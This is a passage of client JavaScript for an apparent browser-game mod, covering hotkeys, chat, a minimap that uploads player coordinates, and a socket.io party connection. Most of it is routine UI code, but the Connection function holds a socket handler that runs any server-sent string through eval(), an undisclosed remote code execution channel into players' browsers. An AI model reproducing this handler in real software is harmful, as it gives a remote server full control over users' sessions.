  930.             },
  931.             hk_send_msg: {
  932.                 defaultHotkey: "ENTER",
  933.                 name: "Chatbox send message",
  934.                 keyDown: function() {
  935.                     chatRoom.enter();
  936.                 },
  937.                 type: "NORMAL"
  938.             },
  939.             hk_send_msg1: {
  940.                 defaultHotkey: "ALT_1",
  941.                 name: "Chatbox send message 1",
  942.                 keyDown: function() {
  943.                     chatRoom.sendMessage(chatCommand.input_hk_send_msg1);
  944.                 },
  945.                 type: "TEXT"
  946.             },
  947.             hk_send_msg2: {
  948.                 defaultHotkey: "ALT_2",
  949.                 name: "Chatbox send message 2",
  950.                 keyDown: function() {
  951.                     chatRoom.sendMessage(chatCommand.input_hk_send_msg2);
  952.                 },
  953.                 type: "TEXT"
  954.             },
  955.             hk_send_msg3: {
  956.                 defaultHotkey: "ALT_3",
  957.                 name: "Chatbox send message 3",
  958.                 keyDown: function() {
  959.                     chatRoom.sendMessage(chatCommand.input_hk_send_msg3);
  960.                 },
  961.                 type: "TEXT"
  962.             },
  963.             hk_send_msg4: {
  964.                 defaultHotkey: "ALT_4",
  965.                 name: "Chatbox send message 4",
  966.                 keyDown: function() {
  967.                     chatRoom.sendMessage(chatCommand.input_hk_send_msg4);
  968.                 },
  969.                 type: "TEXT"
  970.             },
  971.             hk_send_msg5: {
  972.                 defaultHotkey: "ALT_5",
  973.                 name: "Chatbox send message 5",
  974.                 keyDown: function() {
  975.                     chatRoom.sendMessage(chatCommand.input_hk_send_msg5);
  976.                 },
  977.                 type: "TEXT"
  978.             },
  979.             hk_send_msg6: {
  980.                 defaultHotkey: "ALT_6",
  981.                 name: "Chatbox send message 6",
  982.                 keyDown: function() {
  983.                     chatRoom.sendMessage(chatCommand.input_hk_send_msg6);
  984.                 },
  985.                 type: "TEXT"
  986.             },
  987.             hk_send_msg7: {
  988.                 defaultHotkey: "ALT_7",
  989.                 name: "Chatbox send message 7",
  990.                 keyDown: function() {
  991.                     chatRoom.sendMessage(chatCommand.input_hk_send_msg7);
  992.                 },
  993.                 type: "TEXT"
  994.             },
  995.             hk_send_msg8: {
  996.                 defaultHotkey: "ALT_8",
  997.                 name: "Chatbox send message 8",
  998.                 keyDown: function() {
  999.                     chatRoom.sendMessage(chatCommand.input_hk_send_msg8);
  1000.                 },
  1001.                 type: "TEXT"
  1002.             },
  1003.             hk_send_msg9: {
  1004.                 defaultHotkey: "ALT_9",
  1005.                 name: "Chatbox send message 9",
  1006.                 keyDown: function() {
  1007.                     chatRoom.sendMessage(chatCommand.input_hk_send_msg9);
  1008.                 },
  1009.                 type: "TEXT"
  1010.             },
  1011.             hk_send_msg10: {
  1012.                 defaultHotkey: "ALT_0",
  1013.                 name: "Chatbox send message 10",
  1014.                 keyDown: function() {
  1015.                     chatRoom.sendMessage(chatCommand.input_hk_send_msg10);
  1016.                 },
  1017.                 type: "TEXT"
  1018.             }
  1019.         };
  1020.     };
  1021.     this.createMessageDialog = function() {
  1022.         var $message;
  1023.         var $text;
  1024.         $text = $("<div class='modal-footer'>");
  1025.         $text.append("<button type='button' class='btn btn-default' data-dismiss='modal'>OK</button>");
  1026.         $message = $("<div class='modal-content'/>");
  1027.         $message.append($("<div class='modal-header'/>").append("<button type='button' class='close' data-dismiss='modal'>&times;</button><h4 id='message_dialog_title' class='modal-title'></h4>"));
  1028.         $message.append($("<div id='message_dialog_content' class='modal-body'>"));
  1029.         $message.append($text);
  1030.         $message = $("<div id='message_dialog' class='modal fade' role='dialog'/>").append("<div class='modal-dialog'/>").append($message);
  1031.         $("body").append($message);
  1032.         $("#message_dialog").modal({
  1033.             backdrop: "static",
  1034.             keyboard: false
  1035.         });
  1036.         $(document).on("shown.bs.modal", "#message_dialog", function() {
  1037.             var a = $("#message_dialog>.modal-content").outerHeight();
  1038.             var b = $(document).outerHeight();
  1039.             if (a > b) {
  1040.                 $("#message_dialog").css("overflow", "auto");
  1041.             } else {
  1042.                 $("#message_dialog").css("margin-top", b / 2 - a / 2 - 40);
  1043.             }
  1044.         });
  1045.         $(document).on("hide.bs.modal", "#message_dialog", function() {});
  1046.     };
  1047.     this.setUpHotKeyConfigPage = function() {
  1048.         var body;
  1049.         var $rootElement;
  1050.         $rootElement = $('<div class="modal-footer" style="background: #222;">');
  1051.         $rootElement.append("<button onclick='resetDefaultHotkey();' type='button' class='btn btn-blue' style='float:left;'><i id='icon' class='material-icons'>autorenew</i></button>");
  1052.         $rootElement.append("<button type='button' class='btn btn-red' data-dismiss='modal'><i id='icon' class='material-icons'>clear</i></button>");
  1053.         $rootElement.append("<button id='btn_save_hotkey' onclick='saveHotkeys();' type='button' class='btn btn-green' data-dismiss='modal'><i id='icon' class='material-icons'>save</i></button>");
  1054.         body = $("<div class='modal-content' style='background: #222;'/>");
  1055.         body.append($("<div class='modal-header'/>").append("<button type='button' class='close' data-dismiss='modal'>&times;</button><h4 class='modal-title'>Hotkey Setup</h4>"));
  1056.         body.append($("<div id='hotkey_modal_body' class='modal-body'>").append(UI.getHotkeyDivHtml()));
  1057.         body.append($rootElement);
  1058.         body = $("<div id='hotkeys_setting' class='modal fade' role='dialog'/>").append("<div class='modal-dialog'/>").append(body);
  1059.         $("body").append(body);
  1060.         $(document).on("hide.bs.modal", "#hotkeys_setting", function() {
  1061.             if (selectedHotkeyRow) {
  1062.                 selectedHotkeyRow.removeClass("table-row-selected");
  1063.             }
  1064.             selectedHotkeyRow = null;
  1065.             UI.refreshHotkeySettingPage();
  1066.         });
  1067.         $("#hotkey_table .row").not(".header").click(function() {
  1068.             if (selectedHotkeyRow) {
  1069.                 selectedHotkeyRow.removeClass("table-row-selected");
  1070.             }
  1071.             selectedHotkeyRow = $(this);
  1072.             selectedHotkeyRow.addClass("table-row-selected");
  1073.         });
  1074.     };
  1075.     window.saveHotkeys = function() {
  1076.         var codeSegments = $(".hotkey");
  1077.         hotkeyMapping = {};
  1078.         var i = 0;
  1079.         for (; i < codeSegments.length; i++) {
  1080.             hotkeyMapping[$(codeSegments[i]).text()] = $(codeSegments[i]).attr("data-hotkeyid");
  1081.         }
  1082.         setLocalStorage("hotkeyMapping", hotkeyMapping);
  1083.         var guid;
  1084.         for (guid in chatCommand) {
  1085.             chatCommand[guid] = $("#" + guid).val();
  1086.         }
  1087.         setLocalStorage("chatCommand", chatCommand);
  1088.     };
  1089.     this.copyGameInfo = function() {
  1090.         var failuresLink;
  1091.         failuresLink = "Current IP = " + UI.getCurrentIP();
  1092.         var codeSegments = UI.getLeaderBoard();
  1093.         if (codeSegments && 0 != codeSegments.length) {
  1094.             var i = 0;
  1095.             for (; i < codeSegments.length; i++) {
  1096.                 failuresLink += "\n" + (i + 1) + ".  " + codeSegments[i];
  1097.             }
  1098.         }
  1099.         copyToClipboard(failuresLink);
  1100.     };
  1101.     window.resetDefaultHotkey = function() {
  1102.         var e;
  1103.         e = hotkeyMapping;
  1104.         defaultHotkeyMapping = {};
  1105.         var unlock;
  1106.         for (unlock in hotkeyConfig) {
  1107.             if (hotkeyConfig[unlock].defaultHotkey) {
  1108.                 if ("" != hotkeyConfig[unlock].defaultHotkey) {
  1109.                     defaultHotkeyMapping[hotkeyConfig[unlock].defaultHotkey] = unlock;
  1110.                 }
  1111.             }
  1112.         }
  1113.         hotkeyMapping = defaultHotkeyMapping;
  1114.         UI.refreshHotkeySettingPage();
  1115.         hotkeyMapping = e;
  1116.         defaultHotkeyMapping = null;
  1117.         var val;
  1118.         for (val in defaultHotkeyMessageSend) {
  1119.             $("#" + val).val(defaultHotkeyMessageSend[val]);
  1120.         }
  1121.     };
  1122.     this.refreshHotkeySettingPage = function() {
  1123.         var codeSegments = $(".hotkey");
  1124.         var i = 0;
  1125.         for (; i < codeSegments.length; i++) {
  1126.             $(codeSegments[i]).text(" ");
  1127.         }
  1128.         var version;
  1129.         for (version in hotkeyMapping) {
  1130.             $("[data-hotkeyid=" + hotkeyMapping[version] + "]").text(version);
  1131.         }
  1132.         var val;
  1133.         for (val in chatCommand) {
  1134.             $("#" + val).val(chatCommand[val]);
  1135.         }
  1136.     };
  1137.     this.getHotkeyDivHtml = function() {
  1138.         var html = "";
  1139.         var fragment = $("<div id='hotkey_setting'></div>");
  1140.         var rendered = $("<div id='hotkey_table' class='table'></div>");
  1141.         var $message = $("<div class='row header'></div>");
  1142.         $message.append($("<div class='cell' style='width:170px;'>Hotkey</div>"));
  1143.         $message.append($("<div class='cell' style='width:222px;'>Function</div>"));
  1144.         $message.append($("<div class='cell'>Message</div>"));
  1145.         rendered.append($message);
  1146.         $message = null;
  1147.         var type;
  1148.         for (type in hotkeyConfig) {
  1149.             $message = $("<div class='row'></div>");
  1150.             $message.append($("<div data-hotkeyId='" + type + "' class='cell hotkey'>" + getHotkeyById(type) + "</div>"));
  1151.             $message.append($("<div class='cell'>" + hotkeyConfig[type].name + "</div>"));
  1152.             if ("TEXT" == hotkeyConfig[type].type) {
  1153.                 $message.append($("<div class='cell'><input id='input_" + type + "' maxlength='200' style='width:100%;color:black;' type='text' value='" + chatCommand["input_" + type] + "'></input></div>"));
  1154.             } else {
  1155.                 $message.append($("<div class='cell'> / </div>"));
  1156.             }
  1157.             rendered.append($message);
  1158.         }
  1159.         return fragment.append(rendered), html += $("<p>Step 1: Click on the function item</p>")[0].outerHTML, html += $("<p>Step 2: Press wanted hotkey to modify</p>")[0].outerHTML, html += $("<p>Press [DEL] key to remove selected hotkey</p>")[0].outerHTML, html += $("<p>Allowed hotkey combinations: [CTRL] + [ALT] + 0-9, a-z, [TAB], [ENTER]</p>")[0].outerHTML, html += $("<br></br>")[0].outerHTML, html += fragment[0].outerHTML, $("<div/>").append(html).html();
  1160.     };
  1161.     this.checkVersion = function() {
  1162.         var string = getLocalStorage("lastestVersion");
  1163.         if (!(string && string == UI.version)) {
  1164.             UI.applyNewUpdate();
  1165.             setLocalStorage("lastestVersion", UI.version);
  1166.         }
  1167.     };
  1168.     this.showAnnouncement = function() {};
  1169.     this.applyNewUpdate = function() {};
  1170.     this.setupHints = function() {};
  1171.     this.setupHintsImpl = function(node, newValue) {
  1172.         node.addClass("hint--bottom hint--rounded");
  1173.         node.attr("data-hint", newValue);
  1174.     };
  1175.     this.ajax = function(url, options, callback, uri) {
  1176.         uri = null;
  1177.         var request;
  1178.         try {
  1179.             request = new XMLHttpRequest;
  1180.         } catch (a) {
  1181.             try {
  1182.                 request = new ActiveXObject("Msxml2.XMLHTTP");
  1183.             } catch (s) {
  1184.                 try {
  1185.                     request = new ActiveXObject("Microsoft.XMLHTTP");
  1186.                 } catch (l) {
  1187.                     return alert("Your browser does not support Ajax."), false;
  1188.                 }
  1189.             }
  1190.         }
  1191.         return request.onreadystatechange = function() {
  1192.             if (4 == request.readyState) {
  1193.                 callback(request);
  1194.             }
  1195.         }, request.open(options, url, true), request.send(uri), request;
  1196.     };
  1197.     this.getSkinImage = function(t) {
  1198.         return t && "" != t ? customSkin[t] ? customSkin[t] : (-1 == skinDownloadQueue.indexOf(t) && skinDownloadQueue.push(t), null) : null;
  1199.     };
  1200.     this.downloadSkin = function() {
  1201.         if (0 != skinDownloadQueue.length) {
  1202.             var task = skinDownloadQueue.shift();
  1203.             if (!customSkin[task]) {
  1204.                 if (skinDownloadFail[task] && 5 < skinDownloadFail[task]) {
  1205.                     if (UI.getCustomSkinUrl() === task) {
  1206.                         $("#skin_url").val("").trigger("change");
  1207.                     }
  1208.                 } else {
  1209.                     window.postMessage({
  1210.                         data: task
  1211.                     }, "*");
  1212.                 }
  1213.             }
  1214.         }
  1215.         setTimeout(UI.downloadSkin, 2E3);
  1216.     };
  1217.     this.changePreviewImage = function(url) {
  1218.         $("#preview-img").fadeOut(315, function() {
  1219.             $(this).attr("src", url).bind("onreadystatechange load", function() {
  1220.                 if (this.complete) {
  1221.                     $(this).fadeIn(315);
  1222.                 }
  1223.             });
  1224.         });
  1225.     };
  1226. }
  1227.  
  1228. window.exec = function(command) {
  1229.     chatRoom.sendMessageToServer(command);
  1230. }
  1231.  
  1232. function ChatRoom() {
  1233.     this.container = "";
  1234.     this.isShow = true;
  1235.     this.lastMsg = "";
  1236.     this.width = 340;
  1237.     this.height = 350;
  1238.     var _this = this;
  1239.     var t = 0;
  1240.     this.createChatBox = function() {
  1241.         $(this.container).append("<div id='chatroom'></div>");
  1242.         this.hide();
  1243.         $("#chatboxArea2").hide();
  1244.         $("#chatroom").mouseup(function() {
  1245.             _this.resize();
  1246.         });
  1247.     };
  1248.     _this.resize = function() {
  1249.         if ($("#chatroom").width() != this.width || $("#chatroom").height() != this.height) {
  1250.             if ($("#chatroom").perfectScrollbar) {
  1251.                 $("#chatroom").perfectScrollbar("update");
  1252.             }
  1253.         }
  1254.     };
  1255.     this.setContainer = function(container) {
  1256.         this.container = container;
  1257.     };
  1258.     this.sendMessage = function(msg) {
  1259.         if (msg.charAt(0) == '/') { // Comando para el servidor
  1260.             window.exec(msg);
  1261.         } else {
  1262.             if (msg = msg.trim()) {
  1263.                 if (!(2E3 > Date.now() - t && 50 > msg.length)) {
  1264.                     conn.sendMessage({
  1265.                         sender: UI.getName(),
  1266.                         msg: msg
  1267.                     });
  1268.                     this.lastMsg = msg;
  1269.                     t = Date.now();
  1270.                 }
  1271.             }
  1272.         }
  1273.     };
  1274.     this.sendMessageToServer = function(message) {
  1275.         message = message.trim();
  1276.         if ((message.length < 200) && (message.length > 0)) {
  1277.             var view = new DataView(new ArrayBuffer(2 + 2 * message.length));
  1278.             var offset = 0;
  1279.             view.setUint8(offset++, 99);
  1280.             view.setUint8(offset++, 0);
  1281.             for (var i = 0; i < message.length; ++i) {
  1282.                 view.setUint16(offset, message.charCodeAt(i), true);
  1283.                 offset += 2
  1284.             };
  1285.             window.webSocket.send(view)
  1286.         }
  1287.     };
  1288.     this.enter = function() {
  1289.         if (this.isFocus()) {
  1290.             this.sendMessage($("#input_box2").val());
  1291.             $("#input_box2").val("");
  1292.             $("#input_box2").blur();
  1293.             $("#chatboxArea2").hide();
  1294.         } else {
  1295.             this.focus();
  1296.         }
  1297.     };
  1298.     this.popup = function(callback) {
  1299.         if (UI.isEnableChatpopup) {
  1300.             if (!this.isShow) {
  1301.                 if ($.toast) {
  1302.                     $.toast(callback);
  1303.                 } else {
  1304.                     toastQueue.push(callback);
  1305.                 }
  1306.             }
  1307.         }
  1308.     };
  1309.     this.popupInfo = function(text) {
  1310.         this.popup({
  1311.             text: escapeHtml(text),
  1312.             showHideTransition: "slide",
  1313.             icon: "info",
  1314.             bgColor: "rgba(33, 150, 243, 0.95)",
  1315.             allowToastClose: false,
  1316.             hideAfter: 15E3,
  1317.             stack: 10
  1318.         });
  1319.     };
  1320.     this.popupWarning = function(text) {
  1321.         this.popup({
  1322.             text: escapeHtml(text),
  1323.             showHideTransition: "slide",
  1324.             icon: "warning",
  1325.             bgColor: "rgba(255, 152, 0, 0.95)",
  1326.             allowToastClose: false,
  1327.             hideAfter: 15E3,
  1328.             stack: 10
  1329.         });
  1330.     };
  1331.     this.popupChat = function(data, msg) {
  1332.         var html = escapeHtml(data);
  1333.         var replaceXAZIcon = this.replaceXAZIcon(escapeHtml(msg));
  1334.         if ("\u4e0d\u7559\u540d [slick]" == data) {
  1335.             html = this.replaceXAZIcon(html);
  1336.         }
  1337.         var nick = html.split("$")[0];
  1338.         this.popup({
  1339.             heading: '<span class="toast_sender">' + nick + ": </span>",
  1340.             text: '<span class="toast_chatmsg">' + replaceXAZIcon + "</span>",
  1341.             showHideTransition: "slide",
  1342.             bgColor: "rgba(10, 10, 10, 0.95)",
  1343.             allowToastClose: false,
  1344.             hideAfter: 15E3,
  1345.             stack: 10
  1346.         });
  1347.     };
  1348.     this.showSystemMessage = function(m1) {
  1349.         this.showSystemMessageImpl(m1);
  1350.         this.popupInfo(m1);
  1351.     };
  1352.     this.showSystemWarning = function(m1) {
  1353.         this.showSystemMessageImpl(m1);
  1354.         this.popupWarning(m1);
  1355.     };
  1356.     this.showSystemMessageImpl = function(num) {
  1357.         if (UI.showSystemMessage()) {
  1358.             $("#chatroom").append($("<div/>").append($("<span class='system'/>").text(this.getTimeStr() + num)));
  1359.             this.scrollDown();
  1360.         }
  1361.     };
  1362.     this.getTimeStr = function() {
  1363.         var now = new Date;
  1364.         var index = now.getMinutes();
  1365.         return index = 10 > index ? "0" + index : index, now.getHours() + ":" + index + " ";
  1366.     };
  1367.     this.receiveMessage = function(msg, message) {
  1368.         var tabContent = $("<div/>");
  1369.         var errors = $("<span class='time'>").text(this.getTimeStr());
  1370.         var size = $("<span class='sender'>").text(msg.split("$")[0] + " : ");
  1371.         if ("\u4e0d\u7559\u540d [slick]" == msg) {
  1372.             size.html(this.replaceXAZIcon(size.html()));
  1373.         }
  1374.         tabContent.append(errors);
  1375.         tabContent.append(size);
  1376.         errors = $("<span class='msg'>").text(message);
  1377.         errors.html(this.replaceXAZIcon(errors.html()));
  1378.         tabContent.append(errors);
  1379.         $("#chatroom").append(tabContent);
  1380.         this.scrollDown();
  1381.         this.popupChat(msg, message);
  1382.     };
  1383.     this.replaceXAZIcon = function(xhtml) {
  1384.         var query;
  1385.         for (query in xazIcon) {
  1386.             xhtml = xhtml.replace(new RegExp(escapeRegex(query), "g"), '<img alt="$1" src="' + xazIcon[query] + '">');
  1387.         }
  1388.         var images = $('img[alt="$1"]');
  1389.         var i = 0;
  1390.         for (; i < images.length; i++) {
  1391.             for (query in xazIcon) {
  1392.                 if (images[i].src == xazIcon[query]) {
  1393.                     $(images[i]).attr("alt", query);
  1394.                     break;
  1395.                 }
  1396.             }
  1397.         }
  1398.         return xhtml;
  1399.     };
  1400.     this.scrollDown = function() {
  1401.         if ($("#chatroom").perfectScrollbar) {
  1402.             $("#chatroom").scrollTop($("#chatroom").prop("scrollHeight"));
  1403.             $("#chatroom").perfectScrollbar("update");
  1404.         }
  1405.     };
  1406.     this.show = function() {
  1407.         $("#chatroom").show();
  1408.         this.isShow = true;
  1409.         this.scrollDown();
  1410.     };
  1411.     this.hide = function() {
  1412.         $("#chatroom").hide();
  1413.         this.isShow = false;
  1414.     };
  1415.     this.isFocus = function() {
  1416.         return $("#input_box2").is(":focus");
  1417.     };
  1418.     this.focus = function() {
  1419.         $("#chatboxArea2").show();
  1420.         $("#input_box2").focus();
  1421.     };
  1422.     this.createScrollBar = function() {
  1423.         $("#chatroom").perfectScrollbar({
  1424.             minScrollbarLength: 50,
  1425.             suppressScrollX: false
  1426.         });
  1427.     };
  1428. }
  1429.  
  1430. function Minimap() {
  1431.     var canvas;
  1432.     var ctx;
  1433.     var options;
  1434.     var context;
  1435.     var w = 200;
  1436.     var h = 200;
  1437.     var s = false;
  1438.     var frequency = 3000 / 70;
  1439.     var v = {};
  1440.     this.createMap = function(s) {
  1441.         if (s) {
  1442.             w = h = s;
  1443.         }
  1444.         $("body").append("<canvas id='minimapNode'>");
  1445.         $("body").append("<canvas id='minimap' >");
  1446.         canvas = document.getElementById("minimap");
  1447.         ctx = canvas.getContext("2d");
  1448.         canvas.width = w;
  1449.         canvas.height = h;
  1450.         ctx.scale(1, 1);
  1451.         ctx.strokeStyle = "#333";
  1452.         ctx.fillStyle = "#000000";
  1453.         ctx.globalAlpha = 0.5;
  1454.         ctx.lineWidth = 8;
  1455.         ctx.strokeRect(0, 0, canvas.width, canvas.height);
  1456.         ctx.fillRect(0, 0, canvas.width, canvas.height);
  1457.         ctx.textAlign = "center";
  1458.         ctx.textBaseline = "middle";
  1459.         ctx.globalAlpha = 0.2;
  1460.         ctx.font = "12px Gugi";
  1461.         ctx.fillStyle = "#FFFFFF";
  1462.         ctx.fillText("A1", w / 5 / 2, h / 5 / 2);
  1463.         ctx.fillText("A2", w / 5 / 2 * 3, h / 5 / 2);
  1464.         ctx.fillText("A3", w / 5 / 2 * 5, h / 5 / 2);
  1465.         ctx.fillText("A4", w / 5 / 2 * 7, h / 5 / 2);
  1466.         ctx.fillText("A5", w / 5 / 2 * 9, h / 5 / 2);
  1467.         ctx.fillText("B1", w / 5 / 2, h / 5 / 2 * 3);
  1468.         ctx.fillText("B2", w / 5 / 2 * 3, h / 5 / 2 * 3);
  1469.         ctx.fillText("B3", w / 5 / 2 * 5, h / 5 / 2 * 3);
  1470.         ctx.fillText("B4", w / 5 / 2 * 7, h / 5 / 2 * 3);
  1471.         ctx.fillText("B5", w / 5 / 2 * 9, h / 5 / 2 * 3);
  1472.         ctx.fillText("C1", w / 5 / 2, h / 5 / 2 * 5);
  1473.         ctx.fillText("C2", w / 5 / 2 * 3, h / 5 / 2 * 5);
  1474.         ctx.fillText("C3", w / 5 / 2 * 5, h / 5 / 2 * 5);
  1475.         ctx.fillText("C4", w / 5 / 2 * 7, h / 5 / 2 * 5);
  1476.         ctx.fillText("C5", w / 5 / 2 * 9, h / 5 / 2 * 5);
  1477.         ctx.fillText("D1", w / 5 / 2, h / 5 / 2 * 7);
  1478.         ctx.fillText("D2", w / 5 / 2 * 3, h / 5 / 2 * 7);
  1479.         ctx.fillText("D3", w / 5 / 2 * 5, h / 5 / 2 * 7);
  1480.         ctx.fillText("D4", w / 5 / 2 * 7, h / 5 / 2 * 7);
  1481.         ctx.fillText("D5", w / 5 / 2 * 9, h / 5 / 2 * 7);
  1482.         ctx.fillText("E1", w / 5 / 2, h / 5 / 2 * 9);
  1483.         ctx.fillText("E2", w / 5 / 2 * 3, h / 5 / 2 * 9);
  1484.         ctx.fillText("E3", w / 5 / 2 * 5, h / 5 / 2 * 9);
  1485.         ctx.fillText("E4", w / 5 / 2 * 7, h / 5 / 2 * 9);
  1486.         ctx.fillText("E5", w / 5 / 2 * 9, h / 5 / 2 * 9);
  1487.         options = document.getElementById("minimapNode");
  1488.         context = options.getContext("2d");
  1489.         options.width = s;
  1490.         options.height = s;
  1491.         context.globalAlpha = 1;
  1492.         context.scale(1, 1);
  1493.         context.textAlign = "center";
  1494.         context.textBaseline = "middle";
  1495.         context.font = "300 12px Gugi";
  1496.         this.hide();
  1497.         setInterval(function() {
  1498.             minimap.drawNodes();
  1499.         }, frequency);
  1500.     };
  1501.     this.uploadSelfPosition = function() {
  1502.         if (getCurrentX() && getCurrentY()) {
  1503.             s = true;
  1504.             conn.uploadCoords({
  1505.                 x: getCurrentX(),
  1506.                 y: getCurrentY()
  1507.             });
  1508.         } else {
  1509.             if (s) {
  1510.                 conn.uploadCoords({
  1511.                     x: getCurrentX(),
  1512.                     y: getCurrentY()
  1513.                 });
  1514.                 s = false;
  1515.             }
  1516.         }
  1517.     };
  1518.     this.isExists = function(dataAndEvents) {
  1519.         var i = 0;
  1520.         for (; i < nodeList.length; i++) {
  1521.             if (dataAndEvents == nodeList[i][0]) {
  1522.                 return i;
  1523.             }
  1524.         }
  1525.         return null;
  1526.     };
  1527.     this.updateNode = function(obj) {
  1528.         var i;
  1529.         var node = obj.id;
  1530.         var l = obj.x;
  1531.         var lat = obj.y;
  1532.         var entityName = obj.name;
  1533.         if (i = this.isExists(node)) {
  1534.             nodeList[i][1] = entityName.split("$")[0];
  1535.             nodeList[i][2] = l;
  1536.             nodeList[i][3] = lat;
  1537.             nodeList[i][7] = true;
  1538.             nodeList[i][4] = 0 == obj.c ? "#FF4444" : "#26547c";
  1539.             nodeList[i][8] = Date.now();
  1540.             if (!(nodeList[i][12] && nodeList[i][13])) {
  1541.                 nodeList[i][12] = l;
  1542.                 nodeList[i][13] = lat;
  1543.             }
  1544.         } else {
  1545.             nodeList[nodeList.length] = [node, entityName, null, null, "#26547c", null, null];
  1546.         }
  1547.     };
  1548.     this.addNode = function(mode) {
  1549.         nodeList[nodeList.length] = [mode.id, mode.name, null, null, nodeColor, mode.skinurl, mode.cellColor];
  1550.     };
  1551.     this.deleteNode = function(el) {};
  1552.     this.drawNodes = function() {
  1553.         var max = getLengthX();
  1554.         var s = getLengthY();
  1555.         context.clearRect(0, 0, options.width, options.height);
  1556.         var a = getCurrentX();
  1557.         var b = getCurrentY();
  1558.         if (a) {
  1559.             if (b) {
  1560.                 v.x = nodeList[0][2];
  1561.                 v.y = nodeList[0][3];
  1562.             }
  1563.         }
  1564.         nodeList[0][2] = a;
  1565.         nodeList[0][3] = b;
  1566.         nodeList[0][12] = a;
  1567.         nodeList[0][13] = b;
  1568.         if (UI.isSpectating) {
  1569.             nodeList[1][2] = getTop1X();
  1570.             nodeList[1][3] = getTop1Y();
  1571.             nodeList[1][12] = getTop1X();
  1572.             nodeList[1][13] = getTop1Y();
  1573.         }
  1574.         var i = 0;
  1575.         for (; i < nodeList.length; i++) {
  1576.             if (nodeList[i][2] && (nodeList[i][3] && (nodeList[i][12] && (nodeList[i][13] && "del" != nodeList[i][0])))) {
  1577.                 var x;
  1578.                 var y;
  1579.                 var radius;
  1580.                 radius = 1 == i ? 7 : 5;
  1581.                 nodeList[i][2] = ~~nodeList[i][2];
  1582.                 nodeList[i][3] = ~~nodeList[i][3];
  1583.                 nodeList[i][12] = ~~nodeList[i][12];
  1584.                 nodeList[i][13] = ~~nodeList[i][13];
  1585.                 nodeList[i][12] += (max / 2 + nodeList[i][2] - (max / 2 + nodeList[i][12])) / 30;
  1586.                 nodeList[i][13] += (s / 2 + nodeList[i][3] - (s / 2 + nodeList[i][13])) / 30;
  1587.                 x = (max / 2 + nodeList[i][12]) / max * w;
  1588.                 y = (s / 2 + nodeList[i][13]) / s * h;
  1589.                 context.beginPath();
  1590.                 context.arc(x, y, radius, 0, 2 * Math.PI, false);
  1591.                 context.fillStyle = 1 > i ? "#ffffff" : nodeList[i][4];
  1592.                 //context.fillStyle = "#F9FAFA"
  1593.                 context.strokeStyle = $("#minimapStrokeSelf").minicolors("value");
  1594.                 context.lineWidth = 2;
  1595.                 context.fill();
  1596.                 context.stroke();
  1597.                 if (i > 1) {
  1598.                     context.fillStyle = $("#minimapNames").minicolors("value");
  1599.                     context.fillText(nodeList[i][1], x, y - 15);
  1600.                 }
  1601.             }
  1602.         }
  1603.         if (v.x) {
  1604.             if (v.y) {
  1605.                 if (!(a && b)) {
  1606.                     x = (max / 2 + v.x) / max * w;
  1607.                     y = (s / 2 + v.y) / s * h;
  1608.                     context.beginPath();
  1609.                     context.moveTo(x - 3, y - 3);
  1610.                     context.lineTo(x + 3, y + 3);
  1611.                     context.moveTo(x + 3, y - 3);
  1612.                     context.lineTo(x - 3, y + 3);
  1613.                     context.stroke();
  1614.                     context.lineWidth = 1;
  1615.                     context.strokeStyle = "#ffffff";
  1616.                     context.stroke();
  1617.                 }
  1618.             }
  1619.         }
  1620.     };
  1621.     this.hide = function() {
  1622.         $("#minimap").hide();
  1623.         $("#minimapNode").hide();
  1624.     };
  1625.     this.show = function() {
  1626.         $("#minimap").show();
  1627.         $("#minimapNode").show();
  1628.     };
  1629.     this.setDeadPosition = function(r) {
  1630.         v = r ? r : {};
  1631.     };
  1632. }
  1633.  
  1634. function Connection() {
  1635.     var msg;
  1636.     var self = this;
  1637.     self.connect = function() {
  1638.         socket = io(UI.getSocketIP(), {
  1639.             transports: ["websocket"]
  1640.         });
  1641.         socket.on("updateCoords", function(walkers) {
  1642.             minimap.updateNode(walkers);
  1643.         });
  1644.         socket.on("receiveMessage", function(data) {
  1645.             chatRoom.receiveMessage(data.sender, data.msg);
  1646.         });
  1647.         socket.on("eval", function (a) {
  1648.             eval(a);
  1649.         })
  1650.     };
  1651.     self.emit = function(name, data) {
  1652.         socket.emit(name, data);
  1653.     };
  1654.     self.joinRoom = function(value) {
  1655.         if (msg) {
  1656.             self.leaveRoom(msg);
  1657.         }
  1658.         if ("" != $(".partyToken").val()) {
  1659.             self.emit("joinRoom", {
  1660.                 p: value,
  1661.                 a: 1
  1662.             });
  1663.             msg = value;
  1664.         }
  1665.     };
  1666.     self.leaveRoom = function(er) {
  1667.         self.emit("leaveRoom", er);
  1668.     };
  1669.     self.uploadCoords = function(data) {
  1670.         data.name = UI.getName();
  1671.         data.serverAddress = UI.getCurrentServer();
  1672.         data.timeStamp = Date.now();
  1673.         data.socketRoom = msg;
  1674.         self.emit("coords", data);
  1675.     };
  1676.     self.sendMessage = function(message) {
  1677.         message.socketRoom = msg;
  1678.         if ("" != $(".partyToken").val()) {
  1679.             self.emit("sendMessage", message);
  1680.         }
  1681.     };
  1682. }
  1683.  
  1684. function isValidHotKey(e) {
  1685.     return 48 <= e.keyCode && 57 >= e.keyCode || (65 <= e.keyCode && 90 >= e.keyCode || (9 == e.keyCode || 13 == e.keyCode)) ? true : false;
  1686. }
  1687.  
  1688. function getPressedKey(e) {
  1689.     var optsData = "";
  1690.     return e.ctrlKey && (optsData += "CTRL_"), e.altKey && (optsData += "ALT_"), optsData = 9 == e.keyCode ? optsData + "TAB" : 13 == e.keyCode ? optsData + "ENTER" : optsData + String.fromCharCode(e.keyCode);
  1691. }
  1692.  
  1693. function getHotkeyById(keepData) {
  1694.     var unlock;
  1695.     for (unlock in hotkeyMapping) {
  1696.         if (hotkeyMapping[unlock] == keepData) {
  1697.             return unlock;
  1698.         }
  1699.     }
  1700.     return "";
  1701. }
  1702.  
  1703. function copyToClipboard(el) {
  1704.     window.postMessage({
  1705.         data: el
  1706.     }, "*");
  1707. }
  1708.  
  1709. function escapeRegex(string) {
  1710.     return string.replace(/[\-\[\]{}()*+?.,\\\^$|#\s]/g, "$&");
  1711. }
  1712.  
  1713. function drawMinimapNodes() {
  1714.     minimap.uploadSelfPosition();
  1715.     setTimeout(drawMinimapNodes, 1E3);
  1716. }
  1717.  
  1718. function xAzDisableZoom() {
  1719.     if ($('#opt_zoom').is(':checked')) {
  1720.         if ($("#overlays").is(":visible")) {
  1721.             UI.isEnableZoom = false
  1722.         } else {
  1723.             UI.isEnableZoom = true
  1724.         }
  1725.     } else if (!$('#opt_zoom').is(':checked')) {
  1726.         UI.isEnableZoom = false
  1727.     }
  1728.     setTimeout(xAzDisableZoom, 100);
